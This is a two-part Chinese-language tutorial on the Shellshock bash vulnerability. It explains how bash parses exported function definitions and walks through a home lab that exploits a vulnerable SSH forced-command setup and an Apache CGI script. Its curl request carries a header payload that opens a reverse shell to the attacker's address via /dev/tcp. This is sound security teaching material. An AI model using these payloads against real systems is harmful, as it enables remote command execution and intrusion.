shellshock漏洞运作原理分析及其利用
Part I
涵盖的主题
- 介绍
- 什么是Shellshock?
- 什么时候可以被利用?
- 如何检查自己是否脆弱
- 检查您的bash版本
- 在终端上运行精美的单线
- Shellshock的技术见解
- bash shell变量的基础
- 介绍bash环境变量
- 将bash函数导出到环境变量
- 从字符串解析函数定义
- 实际漏洞
- 可能的利用
介绍
Shellshock现在是安全社区中的流行语之一。在“Heartbleed”之后,它是最近使用最广泛的单词。本文首先提供该漏洞的内部详细信息。然后,它逐步引导读者完成如何设置自己的实验室以演示Shellshock漏洞以及利用部分的逐步过程。
什么是Shellshock?
Shellshock是GNU Bourne Again Shell(BASH)中的一个漏洞,攻击者可以使用特制环境变量来运行任意命令。
什么时候可以被利用?
这是本文最重要的部分。在了解如何利用此Shellshock漏洞之前,需要了解容易受到Shellshock攻击的潜在目标。这也将帮助建立一个实验室来演示如何利用此漏洞。如果在Internet上阅读了一些有关Shellshock的新闻,则可能听说过以下易受攻击的目标:Apache mod-cgi,SSH,DHCP等。将以SSH为例进行说明。如果将OpenSSH用作SSH服务器以及将bash用作默认shell,则实际上并不需要利用SSH。为了利用这一点,存在一些限制,如下所述。如果为客户端实现了“authorization_keys”,并且在用户执行命令之前执行了“force command”等一些特定要求,则可能会受到攻击。现在不必担心这一点,稍后将详细讨论。到目前为止,记住:“如果使用任何使用易受攻击的bash版本作为解释程序的程序,并且攻击者能够控制传递给bash的环境变量的值,服务就会变得易受攻击。”。
为什么?因为这不是SSH中的漏洞;而是“bash”中的漏洞。
如何检查bash是否易受攻击
检查bash版本:
众所周知,Bash版本4.3之前是容易受到攻击的。因此,一种检查方法是使用以下命令检查bash版本。
1 | $bash --version |
凉!这个bash是脆弱的。
在终端中运行精心构造的单线脚本:
在揭示了此Shellshock漏洞之后,有一种单行代码变得非常流行。
1 | $env x= '() { :;}; echo shellshocked' bash –c "echo test" |
在终端中运行以上行显示是否容易受到Shellshock的攻击。如果输出中显示“shellshocked”,则说明很容易受到shellshock攻击,现在该进行更新了。
Shellshock漏洞的技术见解
现在,存在以下的问题:上面这行是做什么的?后台发生了什么事?如果打印出“ shellshocked”,为什么容易受到攻击?为了清楚起见,首先了解一下基础知识。
bash shell变量的基础
通常,可以使用echo命令打印一些内容,如下所示。
1 | $ echo "shellshock" |
现在,如果要将上述值存储在与任何其他脚本语言非常相似的变量中,将其放入一个名为“myvar”的变量中。
1 | $ myvar="shellshock" |
如下所示。
现在,打开一个子进程,看看是否可以获取变量的值。
如上图所示,无法将父进程设置的值读入子进程。
介绍bash环境变量
在这里可以轻松地谈论环境变量。
当开始新的Shell会话时,已经准备好使用某些变量。这些可以称为环境变量。
想在子流程环境中访问上述“myvar”变量时,需要使其成为环境变量,以使其可用于新流程。可以使用“export”来实现。
如下所示。
查看上图,可以清楚地看到子进程能够访问“myvar”的值。
现在,仅要确认已将其添加到环境变量中,请运行以下命令。
1 | $ env | grep 'myvar' |
在上面的命令中,将打印出所有环境变量并过滤出目标变量。
将bash函数导出到环境变量
同样,可以将函数导出到子流程环境,如下所示。
在上图中,首先定义了一个函数,如下所示。
1 | x() { somecode;} |
然后称为此函数x。
为了能够从子进程访问它,使用了”–f”flag将其导出,如下所示。
1 | export –f x |
如预期的那样,能够在子shell中打印文本。
从字符串解析函数定义
到目前为止,已经了解了bash变量和函数的工作方式,以及如何导出它们以便能够在子进程中访问它们。
现在,离Shellshock更近了。
上述函数定义也可以保存为字符串。
为了说明这一点,使用了一个名为“newfunction”的新变量。很快就会知道为什么要将变量命名为函数。
1 | $ newfunction='() { echo 'shellshockdemo';}' |
正如之前所做的,只是定义一个变量。现在,可以将其作为常规变量进行访问,如下所示。
1 | $ echo $newfunction |
下图显示了以上两个步骤。
到目前为止,一切都如预期。
现在,将其导出到环境变量并从子shell程序中访问它,如下所示。
1 | $ bash |
奇妙的是,尽管能够在父shell程序中将其作为变量访问,但它被解释为子shell程序内的函数并执行该函数的主体。还要查看环境变量以检查功能。
这怎么可能?
当新的shell作为子进程启动时,它以字符串的值并将其解释为函数,因为它以()开头。
实际漏洞
最后,在那里!
这次,将终止函数定义,并在终止函数后传递一些任意命令,如下所示。
1 | $export newfunction='() { echo 'shellshockdemo';}; echo damn! I am vulnerable' |
答对了!在bash启动期间已执行了在函数定义之外添加的代码。
如果现在执行该函数,它将按预期进行。
如下所示。
现在,如果您返回上一章节“何时可以利用它?”答案是:
条件1 –您的bash版本应该容易受到攻击(通过4.3)。
条件2 –攻击者应该能够控制传递的环境变量。
条件3 –应该生成一个新的bash shell(子过程)。
为了使整个过程自动化,我们使用“env”,如下所示。
1 | $env x= '() { :;}; echo shellshocked' bash –c "echo test" |
通常,env可用于打印所有环境变量,如先前所见。
但是,如果查看env的手册页,它也可以用于运行命令。
另外,可以使用“–help”,如下所示。
首先,来看一个简单的示例,如下所示。
1 | $env newvar=demo bash –c 'echo $newvar' |
在上面显示的命令中,newvar是一个导出的变量,新的子进程正在访问该变量并输出其值。
现在,如果看一下花哨的命令,
1 | $ env x='() { echo accessme;} echo vulnerable' bash –c 'x' |
应该能够得到以下输出:
同样,相同的概念。
X是正在导出的变量。由于其值以()开头,因此它将被子Shell视为函数,并且将执行定义。
但是在此之前,“vulnerable”将在生成shell时被打印出来。
下图表示了整个过程。
到此时,应该能够了解到为什么这个简单的单行命令如此危险。
可能的利用方式
以下是一些可能会引起Shellshock漏洞的严重情况:
- 使用以bash或生成子shell编写的mod_cgi或mod_cgid脚本的Apache HTTP Server。
- OpenSSH sshd中的Override或Bypass ForceCommand功能
- 允许在DHCP客户端计算机上运行任意命令。
在下面的文章中,将看到如何建立自己的实验室,并演示如何利用易受攻击的OpenSSH和Apache服务器。
Part II
涵盖的主题
- 背景
- 先决条件
- 配置SSH服务器
– 添加新用户
– 为特定客户端创建授权密钥
– 将授权密钥添加到SSH服务器
– 使用authorized_keys登录 - 漏洞利用
- 配置Apache服务器使其容易受到攻击
- 漏洞利用
- 整治
背景
在上一篇文章中,看到了Shellshock漏洞的内部细节。在本文中,将看到如何在以下情况下利用bash错误。
- 1.SSH利用
- 2.Apache服务器漏洞
但是,在继续进行之前,建议先阅读本系列的第一部分。
先决条件
所需软件
- VirtualBox:从www.virtualbox.org下载并安装VirtualBox
- 一台容易受到Shellshock攻击的机器–受害者,使用Kali Linux,因为它容易受到bash错误的影响。
- 任何基于Unix/Linux的计算机-Attacker最后,需要一台攻击机器。Linux盒 box首选,因为将使用命令行工具演示所有内容。使用运行Mac的计算机。
在VirtualBox中安装攻击者和受害者的计算机。确保他们能够相互通信。
上图显示了最终设置。
变得疯狂:通常,几乎所有演示中的攻击者都是Kali Linux。现在疯狂起来,这次让Kali变得具有弱点可以利用,并使用另一台计算机(为Mac)对其进行攻击。
在易受攻击的SSH上利用Shellshock
为了使漏洞利用能够工作,需要满足以下要求:
- 1.显然,脆弱的bash shell
- 2.用户必须使用“authorization_keys”进行身份验证
- 3.必须限制用户运行某些特定命令。
好吧,现在开始设置以上所有内容。
配置易受攻击的SSH服务器
在本节中,将了解为什么SSH服务器容易受到Shellshock的攻击。将配置一个故意易受攻击的SSH服务器。作为其一部分,将执行以下步骤。
- 1.在服务器上添加一个新的用户帐户(受害者)。
- 2.为客户端(攻击者)创建授权密钥。
- 3.将授权密钥添加到sshd配置文件。
- 4.使用授权密钥登录。
1.在服务器上添加新的用户帐户
首先启动Kali Linux,并添加一个名为“shellshock”的新用户帐户。
1 | useradd –d /home/shellshock –s /bin/bash shellshock |
在上图中,添加了一个新用户“shellshock”。
“/home/shellshock/”是主目录。
“/bin/bash/”是指向shell程序的绝对路径。
让看一下/etc/passwd文件,以交叉检查使用以下命令创建的用户。
1 | cat /etc/passwd | grep 'shellshock' |
现在创建一个新目录,如下所示。
递归地将上述目录的所有权授予用户“shellshock”。如下所示。
2.为客户端创建授权密钥
如果您从未使用过通过授权密钥使用SSH的话,这是一个有趣的部分。
通常,使用用户名和密码登录SSH帐户。为了利用此bash漏洞,必须使用授权密钥对用户进行身份验证,而无需每次客户端连接到服务器时都输入用户名和密码。
在本节中,将了解如何进行设置。
公钥身份验证是一种连接到远程SSH服务器的更安全,更可靠的方法。SSH公钥认证依靠非对称密码算法(例如:RSA)来生成一对密钥(私钥和公钥)。
私钥通常存储在客户端计算机上,用于连接到远程系统。
公用密钥与运行SSH服务器的远程系统共享。
生成授权密钥的步骤:
登录到攻击者的计算机,然后在终端中键入以下命令。
1 | $ ssh-keygen –t rsa |
上面的命令是生成公共/私有RSA密钥对。
按下Enter键后,它将提示选择保存这些键的路径。在不输入任何内容的情况下按Enter键,因此保留了默认路径。
现在,将提示输入密码。由于出于演示目的而进行操作,因此将其留空。如果在不输入密码的情况下按Enter键,则将生成没有密码保护的私钥。
最后,将看到以下屏幕输出。
如上图所示,已经生成了私钥和公钥。
1 | Private key - /Users/srini0x00/.ssh/id_rsa |
可以使用cat命令查看私钥和公钥的内容。下图显示了公钥。
现在,是时候将该公钥发送到远程服务器了。可以按照自己喜欢的任何方式进行操作,只是为了节省时间,可以通过SFTP发送它。首先,将其复制到桌面。
通过SFTP将公钥发送到远程服务器。
3.将授权密钥添加到SSH服务器
首先,请确保已在服务器上收到公用密钥。
为了进行交叉检查,在终端中运行以下命令。
1 | ls –l id_rsa.pub |
现在,在“/home/shellshock”中创建一个新目录“.ssh”,如下所示。
将公共密钥放在/.ssh/authorized_keys文件中。可以将id_rsa.pub的内容写到authorized_keys,如下所示。
1 | cat id_rsa.pub > ~/.ssh/authorized_keys |
最后,打开sshd_config文件以确保启用PublickeyAuthentication并正确指定了AuthorizedkeysFile。
上面的命令是打开文件“sshd_config”。如下图所示,一切都很完美。
从客户端登录
现在,可以从客户端计算机登录到服务器,如下所示,并且不会提示输入密码。
基本上,这就是所谓的SSH公钥身份验证。
用户现在甚至可以将其命令作为参数传递给SSH服务器。
检查一下如何将“日期”作为参数。
是什么使它容易受到攻击?
如果上述公共密钥身份验证配置为限制用户的预定义命令集,则可能会受到攻击。
这可以使用命令选项来完成。
将使用“authorized_keys”文件中的“command”选项来运行特定的脚本。
出于演示目的,将使用一个非常简单的脚本script.sh,如下所示。
如果用户通过“date”命令作为参数,则上面的脚本仅显示一条消息。如果传递了其他任何内容,它将被执行。
使用以下命令为其授予可执行权限。
1 | chmod +x script.sh |
现在,将此脚本的路径添加到“authorized_keys”文件中。如下所示。
现在,尝试将“date”作为命令行参数传递,如下所示。
1 | $ ssh shellshock@192.168.1.104 date |
这将引发一条简单的消息,如下所示。
每当用户尝试通过SSH连接到服务器时,用户提供的参数将保留在SSH_ORIGNAL_COMMAND中。
在执行用户命令之前,将首先执行“authorized_keys”文件中指定的“script.sh”。这样可以更好地控制用户提供的输入。
漏洞利用
现在,使用上一篇文章中学到的经典Shellshock漏洞利用。将以下行添加到用于常规连接的实际行中:
1 | '() { :;}; date' |
如上图所示,即使不应执行“date”命令的输出,也会得到它。
与之前的情况不同,在“date”被authorized_keys文件中指定的script.sh阻止的情况下,这次任意命令本身成为了第一个命令,因此获得了打印日期。
利用HTTP/S服务器
可以使用Shellshock漏洞来破坏运行cgi或任何其他脚本的服务器,这些脚本触发带有环境变量的bash shell,环境变量可以由攻击者控制。
现在,看看如何配置和利用apache服务器。
配置Apache服务器
在Kali Linux中打开一个终端,然后键入以下命令以启动Apache HTTP服务器。
导航到/usr/lib/cgi-bin/目录,然后创建一个新的Shell脚本,如下图所示。
检查是否可以远程访问此文件。
使用一种流行的命令行工具curl,将请求发送到托管在Kali Linux上的远程服务器,如下所示。
1 | curl http://192.168.1.104/cgi-bin/vulnerable.sh |
如上图所示,正在获得预期的响应-“bash示例”。
现在,使用标志“-v”来查看客户端与服务器之间的通信期间正在发送和接收的信息。
1 | curl –v http://192.168.1.104/cgi-bin/vulnerable.sh |
漏洞利用
如所见,正在尝试点击服务器上的“vulnerable.sh”文件。
通常,当父进程击中bash shell时,将所有标头参数以环境变量的形式传递给子进程。
可以利用此功能来修改和处理恶意请求,以在易受攻击的远程服务器上获取反向shell。
再次使用curl发送带有篡改标头的请求。
但是在此之前,在攻击者的计算机上启动一个新终端,并使用Netcat侦听传入的连接,因为将执行提供反向shell的payload。
下图显示了Netcat在端口4444上进行侦听。
现在,如下所示使用curl发送恶意请求。
1 | curl –H 'x: () { :;}; /bin/bash –I >& /dev/tcp/192.168.1.102 0>&1' http://192.168.1.104/cgi-bin/vulnerable.sh |
如果想了解在这种情况下请求如何发送到服务器,请使用“–v”选项。
现在,如果返回到启动Netcat的终端,应该能够看到生成了一个反向连接shell,如下所示。
漏洞修复
修复Shellshock的最简单方法是按照供应商的建议更新bash shell。